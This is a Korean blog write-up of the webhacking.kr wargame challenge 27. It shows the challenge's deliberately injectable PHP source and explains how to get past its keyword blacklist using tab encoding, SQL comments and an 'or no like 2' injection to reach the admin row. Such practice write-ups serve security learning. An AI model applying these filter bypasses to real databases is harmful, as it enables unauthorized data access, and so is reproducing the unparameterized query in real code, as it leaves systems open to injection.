Wargame/Webhacking.kr

webhacking.kr - old 27 (SQL INJECTION)

G_OM 2024. 3. 14. 15:57

 

 

 

문제 화면이다.

소스코드를 확인해 보자.

 

 

 

 

 

 

 

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 

 

php 부분만 보면 GET 요청으로 'no'라는 매개변수를 전달한다.

 

'no'를 통해서 DB에 쿼리를 실행하기 전에 필터링이 있다.

 

preg_match를 보면

 

'#' : 주석 기호

'select' : SQL 쿼리에서 사용되는 키워드

'(' :  괄호문자

' ' : 공백문자

'limit' : SQL 쿼리에서 사용되는 키워드

'=' : 등호

'0x' :16 진수값

 

부분을 필터링 을 하는 거 같다.

 

URL encode를 사용, 필터링을 우회해서 SQL INJECTION을 해보자.

 

 

 

 

 

 

if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

 

이 부분을 중점으로 보면 될 거 같다.

 

if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=(0) or no like 2 //die("query error");

 

만들어야 할 코드는 'select' 부분을 'False'로 만들어줘야 한다 그래서 'no=(0)'로 설정 그리고 or을 통해 'no' SQL 열의 값이 2를 검사하는 부분[True 유도] 그리고 "query error"가 뜨지 않게 주석으로 처리한 모습이다.

 

이제  설계를 했으니 URL Encode를 통해서 우회해 보도록 하자

 

'#' -> '--' [SQL의 주석]

 

[URL Encode]

%09 :  (Tab) 띄어쓰기랑 같은 개념

%29 : '(' [필터링은 안되어있지만 그래도 한번 해보자]

 

3개만 이용해서 필터링을 해보자.

 

 

 

 

 

 

 

 

2-- 사이에 Tab(%09)을 넣어도 상관없다 하지만 주석을 넣고 나서는 한번 Tab을 해줘야 올바르게 실행이 된다.